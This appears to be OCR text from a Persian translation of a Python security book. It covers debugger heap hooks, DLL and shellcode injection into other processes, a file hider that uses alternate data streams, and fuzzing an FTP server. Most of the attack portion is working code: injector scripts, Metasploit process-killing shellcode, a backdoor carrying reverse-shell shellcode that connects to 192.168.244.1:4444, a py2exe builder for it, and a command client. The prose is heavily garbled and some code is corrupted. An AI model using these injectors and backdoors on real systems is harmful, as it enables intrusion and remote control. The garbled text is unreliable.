ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook_list)

# We want to stop the debugger before monkeying around
imm.Pause()

rtifree = imm.getAddress("ntdll.RtIFreeHeap™)

rtlallocate = imm.getAddress("ntdll.RtIAllocateHeap™)

module = imm.getModule("ntdll.dlI")

if not module.isAnalysed():
imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point

rtlallocate = getRet( imm, rtlallocate, 1000 )
imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)
# Store the hook points

imm.addKnowledge( "FuncNames", ( rtlallocate, rtifree ) )
# Now we start building the hook

fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the function
imm.Log("Logging on Alloc 0x%08x" % rtlallocate)

3 fast.logFunction( rtlallocate )

fast.logBaseDisplacement( "EBP", 8 )
fast.logBaseDisplacement( "EBP", 0xC )
fast.logBaseDisplacement( "EBP", 0x10 )

fast.logRegister( "EAX")

# We are trapping RtlFreeHeap at the head of the function
imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)
fast.logFunction( rtlfree, 3)

# Set the hook
fast.Hook()

# Store the hook object so we can retrieve results later
imm.addKnowledge(Name, fast, force_add = 1)

return "Hooks set, press F9 to continue the Process."
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@b 210K (5l Colis (6l o3 shes 03lizul S 4 (ol RtIHeapAllocate 03 S 1y (sl 48 ol 55 IS 1 o (6,

Zwﬁjij.pstz-\.:'.:.fu6&\);&)@}11,‘.{5&‘f@&-&;bRt'HG&pA”OC&te

0x7C9106D7  F605 FOO2FET7F TEST BYTE PTR DS:[7FFE02F0],2

0x7C9106DE  OF85 1FB20200 JNZ ntdll.7C93B903

0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB  C2 0C00 RETN 0C
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RtIFreeHeap(0x000a0000, 0x00000000, 0x000calhb0)
RtIFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtIFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
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RtIFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c9fe8)
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194 Remote Desktop

195 kil
19 Create Thread

197 \MSDN CreateRemoteThread Function (http://msdn.microsoft.com/en-us/library/ms682437.aspx)
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HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD IpThreadld

);

AL LT L gl L hProcess J}\Jubli..mc;l\})l.:ﬂgaf‘ﬁ Lal Q\ﬁ,ajb s aS ool sla jalyl slaw (6l
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198 Child Process

99 Thread ID

200 shellcode

201 Windows Shell Extention
202 Mouse
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HMODULE LoadLibrary(
LPCTSTR IpFileName

);

LoadLibraryA Gl: 9830l 3l s SVJ_)b gl=lb S (6,108 L el e KQ\DLLM@, s IpFileName .l L
3T Sl ol S Al e .,us@l};\;,r,sé,‘f)g (Al see 45 Casl DLL e &8 6l wiya S ol S L
I, CreateRemoteThread() L 4~ 55 et 52 ) r..f &)L CIpe «S DLL el e V‘S Ix; 1, LoadLibraryA
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)1,;oT,;‘,ﬁj,6,,g)i&dll_injector.py\,;)T(.u,,(.,_;u{,\i,\?oﬂg&ugﬁi,mstjpt,w,;,\f.g,|&dt>

W)

dll_injector.py

import sys
from ctypes import *

PAGE_READWRITE = 0x04
Process_ ALL_ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[1]

203 Compiled
204 Firewall

\ 5 dxio simorgh-ev.com : culw w9 (§ oo sl 55,5) E o 512 5 0315 pel oS L


http://www.nostarch.com/ghpython.htm

(®

Slany (ol - B (G g oW STy Ogb

Mé&,;M!ﬁEDLLMQA;eﬁsigu%b):glftgl.éfwldlélj,(.\f):\)J;ltsa\b-jn

LoadLibraryASc,wlMl:-,’twﬂo;;uﬂ(fﬁv)‘_;@‘_gbf.mﬂu@.:‘sw,;w&m,swjﬁ;
s absl> ,> CreateRemoteThread() ls1 5 sl 1y oysT ol L (US55 F) 3T 03 ST I (65,0 95 53,0 ,15 0T s
Afafijl.:..\.il.:aﬁa,dii.\.Ll.!L»..‘L),.s‘,..i-nglif)l{w}ﬂ{):.\.Ll.:DLL,ﬁ\ﬂlé&‘j‘.\g.rgfn@l(SJ:f) ol

1S 0l 5 Sy g 4o il gine S Sl o 5158 1A Sl g 53 genyd 4 DLL &8 ol ol 8 0L

‘5|jw.;...zsjtz;;\&ts;\.,\amegio.\,TYlfsz.f.quLL o5 G35 o il o e ¢S L Yl

5SS G5 o UK Yl ol e e (55T ) kg 5 Sl

V-V dxio simorgh-ev.com : colw oy (§ o ! 0s,5) § o 312 g 0305 el S0



\‘d Loy bl — B (S Sl oM (ST gl
\/ @ w“ ﬁ "

NI ST AN
Ll o 53 s 4 1y s a8 &S0 b koo 03l Lo 0 AT Gy 5 s 2 (65 415 Al Eoomn v 4y iy ol L
0)L>-|Q‘J?.>}b4:we$~§;d|m{‘f—‘vﬂ)\&&JJJ&JJ@A&{‘Q}&@B)JW@)&{‘) OT}WK&)‘;

AT S 5T STl s la SB (61 gy s gy ESG L Ty 5T iy g S SIS G 5 31 6 bl e
A.JJKU.{"ﬁfeaw‘,v&fvw|)%ﬁuTPlDJ;@M‘ijﬁg’Si;JLwmgaabm&)\ﬁ‘waB
L>.-Afd‘.gg}))&d‘[{jv\:f)ﬁ“bJ.i.)}i‘J?-\J‘:-‘)JQT).)A{‘)W}ﬁ}@)})}bbj‘w)ﬁ:&QA{MA.:AO}L?-‘L«:D
AL Oliaabl b il e 458 o oaden (il cpman Lo 3 gl b ol Ol g 5 51 SdST ol oS5 llB oyl 1SS

s b 28 1 OT dilgion OT 5l gy L 4T 43 513 g 53 1) 555

S 03Lizal OT ASUS slowl 5150 5 5 0iSen trr o o shosllbio Culin ool (5 omis 43 by oo g = 5 IS S 51

ol 3 sl aals 0T ys 55 8 5 &, http://metasploit.com/shellcode <ol 4, sl 03,55 aslizul OT 31 055 b s S

) ol s Slakss g 55less ) Q)y@m&a\f,ﬁ@e;L&h\WindOWS Execute Command dSs o jlu 31 e Cown g0

[* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01 \xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5¢c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x5 7\xff"
"\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2Ax50\x49\x44\x20\x41"
"\x41\x41\x41\x41\x41\x41\x41\x00";
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205 post-Exploiataion
206 Default Encoder
207 Dynamic
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code_injector.py

import sys
from ctypes import *

# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated

PAGE_EXECUTE_READWRITE = 0x00000040
Process_ ALL_ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid_to_Kkill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

shellcode =\
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x78\x01 \xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\X75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5¢\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6h" \
"\x6b\x69\x6¢\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

1 padding = 4 - (Ien( pid_to_kill ))
replace_value = pid_to_Kkill + ( "\x00" * padding )
replace_string= "\x41" * 4

shellcode = shellcode.replace( replace_string, replace value )
code_size = len(shellcode)
# Get a handle to the Process we are injecting into.
h_Process = kernel32.0penProcess( Process_ ALL_ACCESS, False, int(pid) )
if not h_Process:
print “[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the shellcode
arg_address = kernel32.Virtual AllocEx(h_Process, 0, code_size,

\
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VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# Write out the shellcode

written = ¢_int(0)

kernel32.WriteProcessMemory(h_Process, arg_address, shellcode,
code_size, byref(written))

# Now we create the remote thread and point its entry routine

# to be head of our shellcode

thread_id = c_ulong(0)

2 if not kernel32.CreateRemoteThread(h_Process,None,0,arg_address,None,
0,byref(thread_id)):

print "[*] Failed to inject Process-killing shellcode. Exiting."
sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" %
thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
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file_hider.py

import sys

# Read in the DLL

fd = open( sys.argv[1], "rb™)
dll_contents = fd.read()
fd.close()

print "[*] Filesize: %d" % len( dll_contents )

210 Wrapper

211 Alternative data streams
212 Hierarchical file system
213 Stream
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# Now write it out to the ADS

fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )

fd.close()
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backdoor.py

# This library is from Chapter 3 and contains all
# the necessary defines for Process creation

import sys

from ctypes import *

from my_debugger_defines import *
kernel32 = windll.kernel32

PAGE_EXECUTE_READWRITE = 0x00000040
Process ALL_ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )

214 Execution Redirection
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#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf\xFAAXFfAxfAx60\x8b\x6c\x24\x24\x8b\x45" \
"\x3¢c\x8b\x7¢c\x05\x78\x01 \xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
"\X01\xc2\xeb\xf4\x3b\x54\x24\x28\x 75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1¢c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
"\xc3\%31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xf\xd6\x66\x53\x66\x68\x33\x32" \
"\X68\x77\x73\x32\x5f\x54\xF\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xffAxd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\x ffAxd0\x68" \
"\xc0\xa8\xf4\x01\x66\x68\x11\x5¢c\x66\x53\x89\xe1\x95\x68\xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xffAxd0\x66\x6a\x64\x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xcO\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \
"Xx6a\x01\x51\x51\x55\x51 \xff\ixd0\x68\xad\xd9\x05\xce\x53\xff\ixd6" \
"X6a\XFAAXFAAX37\xf\xd0\x68\xe7\x79\xc6\x79\xFf\x75\x04\xff\xd6" \
"\FA\X77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\ixd0"

inject( pid, connect_back_shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

our_pid = str( kernel32.GetCurrentProcessld() )

Process_killer_shellcode =\
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x78\x01 \xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\X75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5¢\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6h" \
"\x6b\x69\x6¢\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len( our_pid))

replace_value = our_pid + ( "\x00" * padding )

replace_string= "\x41" * 4

Process_Kkiller_shellcode =

Process_Killer_shellcode.replace( replace_string, replace_value )

# Pop the Process killing shellcode in
inject( our_pid, Process_Kkiller_shellcode )
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# Backdoor builder
from distutils.core import setup
import py2exe

setup(console=['backdoor.py'],
options = {'py2exe":{'bundle_files1}},
zipfile = None,

)

S Sl pLCONSOIE , Ul el il 4xbls ol 0315 uly SBIUP wls 43 457 (sla el 0 (A0 4,100 ol (Ssl a4yl
Syl sla dosle ik s o ml DLL Juls él,,;zipfilejoption L;La,ubbf.mfwjbﬁr,alﬁafwtdu\

Jite 8552 i 032k e G 415 OT il gin Lo 5 iSCan JESH B SIS 1y Lo 22 33 Sk ol ks ol gl ) o6

216 gniffing
217 http://sourceforge.net/project/showfiles.php?group_id=15583
218 Compile
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command = raw_input("Enter Command> ")
client.sendall( command + "\r\n\r\n"" )
print "[*] Sent => %s" % command
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220 gylley
221 Generation Fuzzer
222 \utiation Fuzzer
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225 stack-Overflow
226 Heap-Overflow
227 Return Address
228 Eyception Handler
229 Chunk

230 Metadata

231 Security-Token
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232 Global flags

233 page heap verifier
234 Integer overflow
235 Singed integer

\YY dsio simorgh-ev.com : colw oy (§ o ! 0s,5) § o 312 g 0305 el S0


http://www.microsoft.com/downloads/details.aspx?FamilyId=49AE8576-9BB9-4126-9761-BA8011FABF38&displaylang=en
http://www.microsoft.com/downloads/details.aspx?FamilyId=49AE8576-9BB9-4126-9761-BA8011FABF38&displaylang=en
http://www.microsoft.com/downloads/details.aspx?FamilyId=49AE8576-9BB9-4126-9761-BA8011FABF38&displaylang=en
http://debugger.immunityinc.com/
http://debugger.immunityinc.com/

Slany (ol - B (G s oW (Sl g Vgl

WS 0,3 1y ldde Lilgm &S gl LTYL = a5 gle S elils ol é?)ﬁ)w@ﬁsz—)\&)\;@w:.l;dii):
ol el Jie S5 4 S b daly 03l Ll 35105 (63 1,18 5685 BT eSK a0 als Sl cpl adsl 510, s dads b i
S0 2SS oz alaile 51 6o 57 e & (535 2 9L Laraid Lol il e (5348 (S50 ESS (§ At 8 S S S

0SS Bl Bl | esl UL 55 3L

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI

CALL msvcrt.malloc
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Stack Parameter => OXFFFFFFF5

Arithmetic Operation => OxFFFFFFF5 + 0x24

Arithmetic Result => 0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019
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236 High-order
237 Format string
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int test = 10000;
printf(*We have written %d lines of code so far.", test);

Output:

We have written 10000 lines of code so far.
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char* test = "%x";

printf(test);
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5a88¢3188
e S oS atetin 85 (sl ST PRING Sl 5 G 4 Sa b oS attin S5 e (B gy ol S glite sl Jle

x_b,«fw\wuuﬁwﬁJ.,Md.uutm6@),@}@&#‘:ﬁlag;du)msbowdbwcuy\);
F o il e L 5 iy 55 odd 0,53 Quwuléqs,r_ﬁ,mum I, 0x5288c3188 ,luis Lo Jlio ol 53 .55 (g Cus b
.\J_jf:ﬁqz;)cU@%Séa.uSﬁ:ﬁ.m%N,%Sélbsmgl;-a{dlua.\;;fup‘;:m.@\d'aéu);;)bw\@
ol aoms 53 5 il il 1) QTQU\S\?L;U'\?!Sr,ﬂ)ﬁ&ébjlémqlijrg\ﬁ%bobjw 03,81 S Gl
a able 5o abile 50Ul Gl 4 dads oSl Ll 4 a5 | el 33 4y jeamnis SlS WON oliST adeiin o 5 4l o 55
33k s sn w8 oyl eSK Ly (185l ysT K dats olarl oS e 0 ol iy 3 0387 sy S b sl
‘)L@}&bﬁﬁ@j‘&bkjb‘@UV._v“)‘.\‘jl:.v'L@:L&,&:{‘judjbjb.uu-\.:db"\{bu\{‘ﬁ-‘éajle-\\.é-‘-éjbﬁ‘\f,u\.{

S Al s 3L 55 1y oS jattis olitd) 4 45T b sl B et Ced 350 4l 4 1) LT 5 oS sl

238 Format specifier
239 Represent
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259 Fuzzing Brute Force Vulnerability Discovery
260 printer
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ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe
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Qd‘ﬂ)@)}.ﬂbFTP)ﬁu)).}d“L};@fQﬂ‘)@))}ﬁ@MJL&‘Jﬂ)\&f

USER <USERNAME>
PASS <PASSWORD>

Gl 4l (61 Dl sz 3 JalST sl &S5 51 dadn o3l Lk 0 55 e, 13,57 30l 1) e (5 4alST 5 (608 oL L ST 1

¢5 PASS 5 USER ol s2s o ool 518 slizal (6,03 Olkoe, Wb ot 4 g a5 557115 05 8 e a1
Fie S 6y T s 6 1) Dl s 1 (6 2 3185 s o3l mea FTP 5 00 o5 oS (lenbB 51 (S o7 iy
il sl QLSS SISl 5 SLa s @3l gl b Cand & 2K oS o3l b plowil i slzel 4S5

S 5 oy S5 I RFCT 4y A5 Uil

Kos 65 a4 sl 655505 055 e - CWD <DIRECTORY>
ss3 eyl BB eSS s Ses, - DELE <FILENAME>

Lls Koo 5L 1y 555y 90 b ok O3 p 2T - MDTM <FILENAME>
LSs sl ol s ol L b (55505~ MKD <DIRECTORY>

03,5 56l FTP Lol Ol gews

iy A5 o 03lom Vo oy 05l Vo ks Lo s 1 (6 2y o (5 03 gmn Lok, ol 593 malir Cod 0 51 ]

oS A S eSS Ol 4 b 6l L T 5 sl axbls 5 gl

261 RFC959—File Transfer Protocol (http://www.fags.org/rfcs/rfc959.html).
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ftp.py
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262 gpiffer
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S 35 0T 531y 2548 5 K ftp_sessionpy 1, 0T pb, S sl o O gy Ji6 &8 oS o

ftp_session.py

from sulley import *
from requests import ftp # this is our ftp.py file

1 def receive_ftp_banner(sock):
sock.recv(1024)

2 sess = sessions.session(session_filename="audits/warftpd.session")
3 target = sessions.target("'192.168.244.133", 21)

4 target.netmon = pedrpc.client(*192.168.244.133", 26001)

5 target.procmon = pedrpc.client(*192.168.244.133", 26002)

target.procmon_options = { "proc_name" : "war-ftpd.exe" }

# Here we tie in the receive_ftp_banner function which receives

# a socket.socket() object from sulley as its only parameter

sess.pre_send = receive_ftp_banner

6sess.add_target(target)

7sess.connect(s_get(*“user™))
sess.connect(s_get(* user™), s_get("pass™))
sess.connect(s_get(*pass”), s_get(*cwd"))
sess.connect(s_get(*pass”), s_get(*"dele™))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get(“pass"), s_get("mkd"))

sess.fuzz()
Sl 6l o oK Wshes Jame FTP g, a0 oS s 55 S 1, Sl (555, (45,3 V) receive_ftp_banner() b

ST, 05 5 56l ob)&b\,adu)lle,s\)FTka\i}i:a QJL.W«{,‘.:&:A Joazasess.pre_send 4 1, ol le . yls
e (s oo ol 1,80 DS ST K g5 e b ol 3 5in 55 033k 53 O g oina 153 65 3 open Pre_send
S ol UL J6 Sl ol &K 355 55 15l 36 (gl Card s 45 (U3 Y), ol o L1 S5 0Nl i 5
s K 03,5 o (US55 1) pg5 (gl o oS 5,5 L 5 Hsie sl e ST ol g Sl 3 556 S ek ol Lo
21 & 5 51P 192.168.244.133 L ysT 4 aham Jlm 55 bo oliiln &y s oplodr 5 1P uysT U oy i 55 47, Sl ala (51

3 Q:.&l.aa(iJ;'-\;).s)wluWarFTPD,,ﬂé\,J;s«f,

263 \/irutal Machine
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omoren Lo LS o3lizul SLos 4 Sl g gl 5y S ol 3 I 03b55 45726002 &5y (655 p Lol ol st Sl s
a>u;w\,r,~5¢wt,war-ftpd.exe&ggga\,oTﬁ|Wsw,Muﬁ@q&g\éukt,@tu\d@f&i
03,5 Joaze gl @ly 53 (US55 V) Gy (5 Al o (U553 9) (iSin LS1 ol i (gl ol s &5 Lo s oS
o el Sl s 1) 6 8o o oSty il gtne Lt ol gilate oy S ozl b K aSK LS 3 L FTP (gla ol 5 )5
.r._;g_.axgdeASS)‘,;w:Q.\S)laba.,\.&@w)@;lﬁjlf@jlgJL;\JPJCLJW),@&:AJ:?JJ\) (USER , PASS)

AS e 36 0 8o Sl b, ulg )

6u=c_,wg.ﬂt@,;L;afg4,@ti'rfuak\‘yx’.‘.J_\u;;\?u»i;t:;;m;,b,;m,-\&lf@&_pwigum,
@,f?r,-fmu“”,-f\ﬁu)L;Lﬂuﬁmumﬁ;uct,gnutf;ﬁmQ\;\@.ﬁ;pm\>;}>’6ﬁ§»,}®

‘S"‘""n ﬁg’”"‘))ﬂ,&)‘s_ ;"U 4,14

55 28 S R 0S5 5 1sn G5 i ol S5 058 Hsle 5 (6,88, CbB b sl Sl o 5 Ol 1S
o4 L i T3k s o A el a8 SO0 4 e et o | el g sl Sl ) il 0313 S g Ut
e S0 Sl gy Sl (553 o S 055 Dok g oy 35 Sy ST K Oty sl 1 L Ol 8T el (5
Shol 658505 55 4571, Process_monitor.py duas ojlal .l o3l o511 o T (6l 2l 4 dizen Ol gl Sy Sl 855 5

1S ealie 15 OT (lataly b S|t 15T ol oS 5505 513 L

python Process_monitor.py
Output:

ERR> USAGE: Process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME] Process name to search for and attach to
[-i|--ignore_pid PID] ignore this PID when searching for the target Process
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[---log_level LEVEL] log level (default 1), increase for more verbosity

[--port PORT] TCP port to bind this agent to

(0 ) 5 D) e 41 PIOCESS_MONIOT.PY oy Sl o5l e Lo

| python Process_monitor.py -c C:\warftpd.crash -p war-ftpd.exe |
23 55 3Lzl —POTt OLS ST 51 e ol s, Cal 26002 Lyl 2 &y 5 jidy Sy 25 455

& 655 o Sl bl 4xsls NEtWOrK_mONItor.py & (sl 1080 puied Coka sy 03,57 5 si5le Sl 55 Lo a8 Yl

ISR H o Je SV T Ll se Leis 5™ 5,1 Impacked 5 Pcapy s WinPcap s Calies sla 6lulS” (g3ldes

python network_monitor.py
Output:

ERR> USAGE: network_monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-1|--log_level LEVEL] log level (default 1), increase for more verbosity
[--port PORT] TCP port to bind this agent to

Network Device List:
[0] \Device\NPF_GenericDialupAdapter
1 [1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

b Sl 4 1y i 0LE T (ol (20> Zle L Lo, 0515 bl Process_monitoring S Sl 3 b S ()5 wliee

(bl S By ly3de plle 5ol odd jadutin &G 5o b (U873 1) (oS e3linul sl s Lo 457 4K ol 87 s Lo oS

13 ghes ) Q)yqif.v__ﬁ:ﬁ ol oS pasia | network_monitor.py 4 1 ole 5 L sl oS ,T

[ python network_monitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\ |
93 ALVl asb wsl bl 4l 0T b LS eslizul oaurugﬁ_,\gpu;;@\ I, c:\pcaps C,,;;\J,svg\{m:ui;

.;ﬁ;uT@W@tK{m.ﬁ;ﬁ\u,‘u;ﬂ;ﬁlw,ﬁg;uw\ﬁ};gswo;;)}gudw

Sl Lty 5 K56 4,0,

£/ Gy S oalital byt ol 035 o sl Sl o Sow Ll S b5 0 a1 b sl e L Yl

WSl 5 Sy g 4 |, Ttp_session.py

| python ftp_session.py |
AL a5 A s S L S

[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed O of 6726 total cases
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[07:42.47] fuzzing 1 of 1121
[07:42.47] xmitting: [1.1]
[07:42.49] fuzzing 2 of 1121
[07:42.49] xmitting: [1.2]
[07:42.50] fuzzing 3 of 1121
[07:42.50] xmitting: [1.3]

dw@gfu,QIWarFTPD@QL;MLIJutdu,;éu,;,ﬂﬁg};u&ju;wwa\z_&@-,f‘-uft

.L.fjjéjbLIJ\buaﬁjkb&bb&»ﬁm@\mi}:@y;‘»)}pmgbw\wd.\;d\,@iav\@wbq‘:f)b

e b g (5 i AT o7 il als g Ll 4 A0 S Y

i 25 R 5 4d o A b ek s DiE://127.0.0.0:26000 4 5 48 5L 1) 55 (5 e 350 55550

Sulley Fuzz Control RUNNING

Captured Bytes

S o Ly

Jl:-):a\féuil.;j;;lﬁﬁ&iﬁqu{&l\ ,J\:.:f:.xqung\.'\f)l{b:}ﬁ-;ij,g)C_;JL{\)):LAGZ\M))')J{Q.L::&‘J.I
I S5 4S A b Led A (S L stoma 1y 35 50 s STl Sk K Sl s See ol (6 iy o

e st aB ST R

Sulley Fuzz Control RUNNING

e sl il g Jle Oy G Ly

M)J.@‘b.}\.})‘}\ﬁ)l:}‘))&w)}4{bMﬁbu)‘éb}.édf‘)bbwarFTpD %ﬁﬁM&yb'Jb)w
y ] é.ulﬁ\,:f\)lfﬁi; ﬂué‘})JOXSC Sl .S L s |y OXBC5C5C5C pw ysT il gad 5 3l 45 s Lo 5 40 93

el e Ss 4 By ol 0 o 5\ sla ST Sty G oS b e a8 o S0 R T L il e Lo ol
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Jire o y3T &S5 OXBC5C5C5C 47 oolowT 51 5 sdas o 35 asl kSl 0,Lal OT  EIP o87 w37 53 1y ool 4 S s
o ST LB (5 Ty T K Lo 6T il im0y 457, ol el sl ) 48 8 s 53 LEIP J 287457 6 50 50
Dhaled 3850 ol bl 3 32 0ol Iy S 68T 005 STy 15 6 oy o T S5 Lo ST o 55 035 Ol 55 el 03571y 03 87
Coa Bl 53 FTP (ol ok slowl 6la gy ool 31 ol Lo Yl 5 S S8 g I (5 03101 & o o 55 0l 51 g%
YU s a5 45 test case ,a g5y » Al s Lod Yl .éwéqkdudﬂngy&‘,éumtﬁ; <l

S oslizul Lol Sl 5 5 (gl ol 0dd adiie

gy " o s gl g e i 53 (k8 sl b 53 1, PYDBG g 55 3 s b S
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MFC42.DLL:5f401blc
MFC42.DLL:5f401a96
MFC42.DLL:5f401a20
MFC42.DLL:5f4019ca
USER32.dll:77d48709
USER32.d11:77d487¢eb
USER32.dll:77d489a5
USER32.dll:77d4bccc
MFC42.DLL:5f40116f

SHE unwind:
00a6fcf4 -> war-ftpd.exe:0042e38c Yfvove ax,0x43e548

00a6fd84 -> MFC42.DLL:5f41ccfa \fvove ax,0x5f4be868

00a6fdcc -> MFC42.DLL:5f41cc85 mov eax,0x5f4be6c0
00a6fe5c -> MFC42.DLL:5f41cc4d \Fvove ax,0x5f4be3d8

00a6febc -> USER32.d11:77d70494 push ebp

00a6ff74 -> USER32.d11:77d70494 push ebp

00a6ffad -> MFC42.DLL:5f424364 mov eax,0x5f4¢c23b0
00a6ffdc -> MSVCRT.dII:77¢35c94 push ebp

FFFFF -> kernel32.d11:7¢8399f3 push ebp

#43T o Lo test case sl 55 3590 55 JolS Sl

Vuuyc\,:yéwwgsiﬂx;,aL;L.ﬂw,ﬁ\o;uUmT;&féuﬁ\;\@w, Sl ool sl bl L Y
eV L Kos Sledbl 5 Caliee sla b 5 le SIS dile ST S8 Lo pu Latets 5o led 4 il gie &7, Lile 5 Koo
